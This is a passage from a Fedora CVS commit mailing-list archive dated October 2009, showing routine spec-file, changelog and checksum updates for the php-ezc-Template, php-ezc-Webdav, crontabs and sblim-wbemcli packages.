+162a92b00cb62e5884f40c17d9ed1526  Template-1.4.1.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:49:44 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:49:44 +0000 (UTC)
Subject: rpms/php-ezc-Template/devel .cvsignore, 1.3,
	1.4 php-ezc-Template.spec, 1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091012114944.E775E11C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Template/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26095/devel

Modified Files:
	.cvsignore php-ezc-Template.spec sources 
Log Message:
Update to 1.4.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Template/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Jul 2009 18:26:12 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:49:44 -0000	1.4
@@ -1 +1 @@
-Template-1.4.tgz
+Template-1.4.1.tgz


Index: php-ezc-Template.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Template/devel/php-ezc-Template.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- php-ezc-Template.spec	26 Jul 2009 18:03:54 -0000	1.3
+++ php-ezc-Template.spec	12 Oct 2009 11:49:44 -0000	1.4
@@ -3,8 +3,8 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Template
-Version:        1.4
-Release:        2%{?dist}
+Version:        1.4.1
+Release:        1%{?dist}
 Summary:        A fully functional Templating system
 
 Group:          Development/Libraries
@@ -90,6 +90,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.4.1-1
+- Update to 1.4.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Template/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Jul 2009 18:26:12 -0000	1.3
+++ sources	12 Oct 2009 11:49:44 -0000	1.4
@@ -1 +1 @@
-0bdc2fc1430093d7f912c75956bb4732  Template-1.4.tgz
+162a92b00cb62e5884f40c17d9ed1526  Template-1.4.1.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:49:43 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:49:43 +0000 (UTC)
Subject: rpms/php-ezc-Template/F-10 .cvsignore, 1.3,
	1.4 php-ezc-Template.spec, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091012114943.7774011C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Template/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26095/F-10

Modified Files:
	.cvsignore php-ezc-Template.spec sources 
Log Message:
Update to 1.4.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Template/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Jul 2009 18:26:34 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:49:43 -0000	1.4
@@ -1 +1 @@
-Template-1.4.tgz
+Template-1.4.1.tgz


Index: php-ezc-Template.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Template/F-10/php-ezc-Template.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- php-ezc-Template.spec	1 Jul 2009 18:26:34 -0000	1.2
+++ php-ezc-Template.spec	12 Oct 2009 11:49:43 -0000	1.3
@@ -3,7 +3,7 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Template
-Version:        1.4
+Version:        1.4.1
 Release:        1%{?dist}
 Summary:        A fully functional Templating system
 
@@ -90,6 +90,12 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.4.1-1
+- Update to 1.4.1
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Jul 01 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.4-1
 - Update to 1.4
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Template/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Jul 2009 18:26:34 -0000	1.3
+++ sources	12 Oct 2009 11:49:43 -0000	1.4
@@ -1 +1 @@
-0bdc2fc1430093d7f912c75956bb4732  Template-1.4.tgz
+162a92b00cb62e5884f40c17d9ed1526  Template-1.4.1.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:49:44 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:49:44 +0000 (UTC)
Subject: rpms/php-ezc-Template/F-12 .cvsignore, 1.3,
	1.4 php-ezc-Template.spec, 1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091012114944.5563F11C0265@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Template/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26095/F-12

Modified Files:
	.cvsignore php-ezc-Template.spec sources 
Log Message:
Update to 1.4.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Template/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Jul 2009 18:26:12 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:49:43 -0000	1.4
@@ -1 +1 @@
-Template-1.4.tgz
+Template-1.4.1.tgz


Index: php-ezc-Template.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Template/F-12/php-ezc-Template.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- php-ezc-Template.spec	26 Jul 2009 18:03:54 -0000	1.3
+++ php-ezc-Template.spec	12 Oct 2009 11:49:43 -0000	1.4
@@ -3,8 +3,8 @@
 %define channel components.ez.no
 
 Name:           php-ezc-Template
-Version:        1.4
-Release:        2%{?dist}
+Version:        1.4.1
+Release:        1%{?dist}
 Summary:        A fully functional Templating system
 
 Group:          Development/Libraries
@@ -90,6 +90,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.4.1-1
+- Update to 1.4.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Template/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Jul 2009 18:26:12 -0000	1.3
+++ sources	12 Oct 2009 11:49:43 -0000	1.4
@@ -1 +1 @@
-0bdc2fc1430093d7f912c75956bb4732  Template-1.4.tgz
+162a92b00cb62e5884f40c17d9ed1526  Template-1.4.1.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:51:47 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:51:47 +0000 (UTC)
Subject: rpms/php-ezc-Webdav/F-10 .cvsignore, 1.3, 1.4 php-ezc-Webdav.spec,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091012115147.4428111C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Webdav/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27566/F-10

Modified Files:
	.cvsignore php-ezc-Webdav.spec sources 
Log Message:
Update to 1.1.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Webdav/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Jul 2009 18:42:10 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:51:46 -0000	1.4
@@ -1 +1 @@
-Webdav-1.1.1.tgz
+Webdav-1.1.2.tgz


Index: php-ezc-Webdav.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Webdav/F-10/php-ezc-Webdav.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- php-ezc-Webdav.spec	1 Jul 2009 18:42:10 -0000	1.2
+++ php-ezc-Webdav.spec	12 Oct 2009 11:51:47 -0000	1.3
@@ -3,7 +3,7 @@
 %global channel components.ez.no
 
 Name:           php-ezc-Webdav
-Version:        1.1.1
+Version:        1.1.2
 Release:        1%{?dist}
 Summary:        Set up and run your own WebDAV server
 
@@ -87,6 +87,12 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.1.2-1
+- Update to 1.1.2
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.1-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Jul 01 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.1.1-1
 - Update to 1.1.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Webdav/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Jul 2009 18:42:10 -0000	1.3
+++ sources	12 Oct 2009 11:51:47 -0000	1.4
@@ -1 +1 @@
-09086d80f855df68ad3706b40dc5634e  Webdav-1.1.1.tgz
+ac6c85f0fd48fc5254a50c902adc9ce0  Webdav-1.1.2.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:51:47 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:51:47 +0000 (UTC)
Subject: rpms/php-ezc-Webdav/F-11 .cvsignore, 1.3, 1.4 php-ezc-Webdav.spec,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091012115147.79F3A11C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Webdav/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27566/F-11

Modified Files:
	.cvsignore php-ezc-Webdav.spec sources 
Log Message:
Update to 1.1.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Webdav/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Jul 2009 18:42:05 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:51:47 -0000	1.4
@@ -1 +1 @@
-Webdav-1.1.1.tgz
+Webdav-1.1.2.tgz


Index: php-ezc-Webdav.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Webdav/F-11/php-ezc-Webdav.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- php-ezc-Webdav.spec	1 Jul 2009 18:42:05 -0000	1.2
+++ php-ezc-Webdav.spec	12 Oct 2009 11:51:47 -0000	1.3
@@ -3,7 +3,7 @@
 %global channel components.ez.no
 
 Name:           php-ezc-Webdav
-Version:        1.1.1
+Version:        1.1.2
 Release:        1%{?dist}
 Summary:        Set up and run your own WebDAV server
 
@@ -87,6 +87,12 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.1.2-1
+- Update to 1.1.2
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.1-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Jul 01 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.1.1-1
 - Update to 1.1.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Webdav/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Jul 2009 18:42:05 -0000	1.3
+++ sources	12 Oct 2009 11:51:47 -0000	1.4
@@ -1 +1 @@
-09086d80f855df68ad3706b40dc5634e  Webdav-1.1.1.tgz
+ac6c85f0fd48fc5254a50c902adc9ce0  Webdav-1.1.2.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:51:48 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:51:48 +0000 (UTC)
Subject: rpms/php-ezc-Webdav/devel .cvsignore, 1.3, 1.4 php-ezc-Webdav.spec, 
	1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091012115148.04BDA11C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Webdav/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27566/devel

Modified Files:
	.cvsignore php-ezc-Webdav.spec sources 
Log Message:
Update to 1.1.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Webdav/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Jul 2009 18:42:05 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:51:47 -0000	1.4
@@ -1 +1 @@
-Webdav-1.1.1.tgz
+Webdav-1.1.2.tgz


Index: php-ezc-Webdav.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Webdav/devel/php-ezc-Webdav.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- php-ezc-Webdav.spec	26 Jul 2009 18:04:10 -0000	1.3
+++ php-ezc-Webdav.spec	12 Oct 2009 11:51:47 -0000	1.4
@@ -3,8 +3,8 @@
 %global channel components.ez.no
 
 Name:           php-ezc-Webdav
-Version:        1.1.1
-Release:        2%{?dist}
+Version:        1.1.2
+Release:        1%{?dist}
 Summary:        Set up and run your own WebDAV server
 
 Group:          Development/Libraries
@@ -87,6 +87,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.1.2-1
+- Update to 1.1.2
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Webdav/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Jul 2009 18:42:05 -0000	1.3
+++ sources	12 Oct 2009 11:51:47 -0000	1.4
@@ -1 +1 @@
-09086d80f855df68ad3706b40dc5634e  Webdav-1.1.1.tgz
+ac6c85f0fd48fc5254a50c902adc9ce0  Webdav-1.1.2.tgz



From llaumgui at fedoraproject.org  Mon Oct 12 11:51:47 2009
From: llaumgui at fedoraproject.org (Guillaume Kulakowski)
Date: Mon, 12 Oct 2009 11:51:47 +0000 (UTC)
Subject: rpms/php-ezc-Webdav/F-12 .cvsignore, 1.3, 1.4 php-ezc-Webdav.spec,
	1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091012115147.B995011C00DB@cvs1.fedora.phx.redhat.com>

Author: llaumgui

Update of /cvs/pkgs/rpms/php-ezc-Webdav/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27566/F-12

Modified Files:
	.cvsignore php-ezc-Webdav.spec sources 
Log Message:
Update to 1.1.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Webdav/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	1 Jul 2009 18:42:05 -0000	1.3
+++ .cvsignore	12 Oct 2009 11:51:47 -0000	1.4
@@ -1 +1 @@
-Webdav-1.1.1.tgz
+Webdav-1.1.2.tgz


Index: php-ezc-Webdav.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Webdav/F-12/php-ezc-Webdav.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- php-ezc-Webdav.spec	26 Jul 2009 18:04:10 -0000	1.3
+++ php-ezc-Webdav.spec	12 Oct 2009 11:51:47 -0000	1.4
@@ -3,8 +3,8 @@
 %global channel components.ez.no
 
 Name:           php-ezc-Webdav
-Version:        1.1.1
-Release:        2%{?dist}
+Version:        1.1.2
+Release:        1%{?dist}
 Summary:        Set up and run your own WebDAV server
 
 Group:          Development/Libraries
@@ -87,6 +87,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Guillaume Kulakowski <guillaume DOT kulakowski AT fedoraproject DOT org> - 1.1.2-1
+- Update to 1.1.2
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-ezc-Webdav/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Jul 2009 18:42:05 -0000	1.3
+++ sources	12 Oct 2009 11:51:47 -0000	1.4
@@ -1 +1 @@
-09086d80f855df68ad3706b40dc5634e  Webdav-1.1.1.tgz
+ac6c85f0fd48fc5254a50c902adc9ce0  Webdav-1.1.2.tgz



From mmaslano at fedoraproject.org  Mon Oct 12 12:16:15 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 12 Oct 2009 12:16:15 +0000 (UTC)
Subject: rpms/crontabs/devel crontabs.spec,1.35,1.36
Message-ID: <20091012121615.C6C8B11C00DB@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/crontabs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2766

Modified Files:
	crontabs.spec 
Log Message:
* Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 1.10-32
- rebuilt for review



Index: crontabs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/crontabs/devel/crontabs.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- crontabs.spec	24 Jul 2009 19:39:57 -0000	1.35
+++ crontabs.spec	12 Oct 2009 12:16:13 -0000	1.36
@@ -1,9 +1,10 @@
 Summary: Root crontab files used to schedule the execution of programs
 Name: crontabs
 Version: 1.10
-Release: 31%{?dist}
+Release: 32%{?dist}
 License: Public Domain and GPLv2
 Group: System Environment/Base
+# no URL - it's only a one script which is used by different packages
 Source0: crontab
 Source1: run-parts
 Source2: crontabs.4
@@ -21,14 +22,19 @@ are scheduled, it executes them.
 Crontabs handles a basic system function, so it should be installed on
 your system.
 
+%prep
+#empty
+%build
+#empty
+
 %install
 rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT/etc/cron.{hourly,daily,weekly,monthly}
 mkdir -p $RPM_BUILD_ROOT/usr/bin
 mkdir -p $RPM_BUILD_ROOT/%{_mandir}/man4/
-install -m644 $RPM_SOURCE_DIR/crontab $RPM_BUILD_ROOT/etc/crontab
-install -m755 $RPM_SOURCE_DIR/run-parts $RPM_BUILD_ROOT/usr/bin/run-parts
-install -m644 $RPM_SOURCE_DIR/crontabs.4 $RPM_BUILD_ROOT/%{_mandir}/man4/
+install -m644 crontab $RPM_BUILD_ROOT/etc/crontab
+install -m755 run-parts $RPM_BUILD_ROOT/usr/bin/run-parts
+install -m644 crontabs.4 $RPM_BUILD_ROOT/%{_mandir}/man4/
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -44,6 +50,9 @@ rm -rf $RPM_BUILD_ROOT
 %dir /etc/cron.monthly
 
 %changelog
+* Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 1.10-32
+- rebuilt for review
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.10-31
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mmaslano at fedoraproject.org  Mon Oct 12 12:17:34 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 12 Oct 2009 12:17:34 +0000 (UTC)
Subject: rpms/crontabs/F-12 crontabs.spec,1.35,1.36
Message-ID: <20091012121734.4A27911C00DB@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/crontabs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3025

Modified Files:
	crontabs.spec 
Log Message:
* Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 1.10-32
- rebuilt for review



Index: crontabs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/crontabs/F-12/crontabs.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- crontabs.spec	24 Jul 2009 19:39:57 -0000	1.35
+++ crontabs.spec	12 Oct 2009 12:17:34 -0000	1.36
@@ -1,9 +1,10 @@
 Summary: Root crontab files used to schedule the execution of programs
 Name: crontabs
 Version: 1.10
-Release: 31%{?dist}
+Release: 32%{?dist}
 License: Public Domain and GPLv2
 Group: System Environment/Base
+# no URL - it's only a one script which is used by different packages
 Source0: crontab
 Source1: run-parts
 Source2: crontabs.4
@@ -21,14 +22,19 @@ are scheduled, it executes them.
 Crontabs handles a basic system function, so it should be installed on
 your system.
 
+%prep
+#empty
+%build
+#empty
+
 %install
 rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT/etc/cron.{hourly,daily,weekly,monthly}
 mkdir -p $RPM_BUILD_ROOT/usr/bin
 mkdir -p $RPM_BUILD_ROOT/%{_mandir}/man4/
-install -m644 $RPM_SOURCE_DIR/crontab $RPM_BUILD_ROOT/etc/crontab
-install -m755 $RPM_SOURCE_DIR/run-parts $RPM_BUILD_ROOT/usr/bin/run-parts
-install -m644 $RPM_SOURCE_DIR/crontabs.4 $RPM_BUILD_ROOT/%{_mandir}/man4/
+install -m644 crontab $RPM_BUILD_ROOT/etc/crontab
+install -m755 run-parts $RPM_BUILD_ROOT/usr/bin/run-parts
+install -m644 crontabs.4 $RPM_BUILD_ROOT/%{_mandir}/man4/
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -44,6 +50,9 @@ rm -rf $RPM_BUILD_ROOT
 %dir /etc/cron.monthly
 
 %changelog
+* Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 1.10-32
+- rebuilt for review
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.10-31
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From vcrhonek at fedoraproject.org  Mon Oct 12 12:17:44 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Mon, 12 Oct 2009 12:17:44 +0000 (UTC)
Subject: rpms/sblim-wbemcli/EL-5 sblim-wbemcli.spec,1.5,1.6 sources,1.2,1.3
Message-ID: <20091012121744.E99EF11C00DB@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-wbemcli/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3109

Modified Files:
	sblim-wbemcli.spec sources 
Log Message:
Initial commit


Index: sblim-wbemcli.spec
===================================================================
RCS file: /cvs/extras/rpms/sblim-wbemcli/EL-5/sblim-wbemcli.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sblim-wbemcli.spec	4 Oct 2006 23:09:24 -0000	1.5
+++ sblim-wbemcli.spec	12 Oct 2009 12:17:44 -0000	1.6
@@ -1,36 +1,34 @@
-#
-# $Id$
-#
-# Package spec for wbemcli (RH version)
-#
-
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-
-Summary: SBLIM WBEM Command Line Interface
-Name: sblim-wbemcli
-Version: 1.5.1
-Release: 4%{?dist}
-Group: Systems Management/Base
-URL: http://www.sblim.org
-License: CPL
-
-Source0: http://prdownloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
-
-BuildRequires: curl-devel >= 7.9.3
-BuildRequires: binutils-devel >= 2.17.50.0.3-4
-Requires: curl >= 7.9.3
+Name:           sblim-wbemcli
+Version:        1.6.0
+Release:        5%{?dist}
+Summary:        SBLIM WBEM Command Line Interface
+
+Group:          Applications/System
+License:        EPL
+URL:            http://sblim.wiki.sourceforge.net/
+Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
+Patch0:         sblim-wbemcli-1.5.1-gcc43.patch
+Patch1:         sblim-wbemcli-1.6.0-consts.patch
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
+BuildRequires:  curl-devel >= 7.9.3
+BuildRequires:  binutils-devel >= 2.17.50.0.3-4
+Requires:       curl >= 7.9.3
+Requires:       tog-pegasus
 
-%Description
+%description
 WBEM Command Line Interface is a standalone, command line WBEM client. It is
 specially suited for basic systems management tasks as it can be used in
 scripts.
 
 %prep
-%setup
+%setup -q
+%patch0 -p1 -b .gcc43
+%patch1 -p1 -b .consts
 
 %build
 %configure CACERT=/etc/Pegasus/client.pem
-make %{?smp_mflags}
+make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -40,24 +38,50 @@ mkdir -p $RPM_BUILD_ROOT/%{_datadir}/%{n
 %clean
 rm -rf $RPM_BUILD_ROOT
 
+
 %files
-%defattr(-,root,root)
+%defattr(-,root,root,-)
 %{_bindir}/wbem*
 %{_mandir}/man1/*
 %{_datadir}/%{name}
 
 %changelog
-* Thu Oct 05 2006 Christian Iseli <Christian.Iseli at licr.org> 1.5.1-4
- - rebuilt for unwind info generation, broken in gcc-4.1.1-21
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.0-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sat Feb 28 2009 Caol?n McNamara - 1.6.0-4
+- constify rets of strchr(const char *);
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6.0-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Tue Nov  4 2008 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.6.0-2
+- Fix License
+- Spec file cleanup, rpmlint check
+
+* Fri Oct 24 2008 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.6.0-1
+- Update to 1.6.0
+  Resolves: #468328
+
+* Fri Jun 20 2008 Tom "spot" Callaway <tcallawa at redhat.com> - 1.5.1-7
+- fix gcc43 compile failure
+
+* Mon Feb 18 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 1.5.1-6
+- Autorebuild for GCC 4.3
+
+* Mon Nov 06 2006 Jindrich Novy <jnovy at redhat.com> - 1.5.1-5
+- rebuild against new curl
 
+* Thu Oct 05 2006 Christian Iseli <Christian.Iseli at licr.org> - 1.5.1-4
+- rebuilt for unwind info generation, broken in gcc-4.1.1-21
 
-* Mon Nov 21 2005 Viktor Mihajlovski <mihajlov at de.ibm.com> 1.5.1-1
-  - Upgrade to version 1.5.1 (SSL V3 enforced, default CACERT).
-    Created Fedora/RH specific spec file.
+* Mon Nov 21 2005 Viktor Mihajlovski <mihajlov at de.ibm.com> - 1.5.1-1
+- Upgrade to version 1.5.1 (SSL V3 enforced, default CACERT).
+- Created Fedora/RH specific spec file.
 
-* Thu Oct 28 2005 Viktor Mihajlovski <mihajlov at de.ibm.com> 1.5.0-1
-  - Minor enhancements for Fedora compatibility, still not daring to
-    nuke the build root though
+* Thu Oct 28 2005 Viktor Mihajlovski <mihajlov at de.ibm.com> - 1.5.0-1
+- Minor enhancements for Fedora compatibility, still not daring to
+  nuke the build root though
 
-* Thu Jul 28 2005 Viktor Mihajlovski <mihajlov at de.ibm.com> 1.5.0-0
-  - Updates for rpmlint complaints
+* Thu Jul 28 2005 Viktor Mihajlovski <mihajlov at de.ibm.com> - 1.5.0-0
+- Updates for rpmlint complaints


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-wbemcli/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Feb 2006 17:33:30 -0000	1.2
+++ sources	12 Oct 2009 12:17:44 -0000	1.3
@@ -1 +1 @@
-2d048b0ebd0f6b34993e49a28ebda794  sblim-wbemcli-1.5.1.tar.bz2
+422cf80bcc812f9cfb03d43e7213641d  sblim-wbemcli-1.6.0.tar.bz2



From vcrhonek at fedoraproject.org  Mon Oct 12 12:31:54 2009
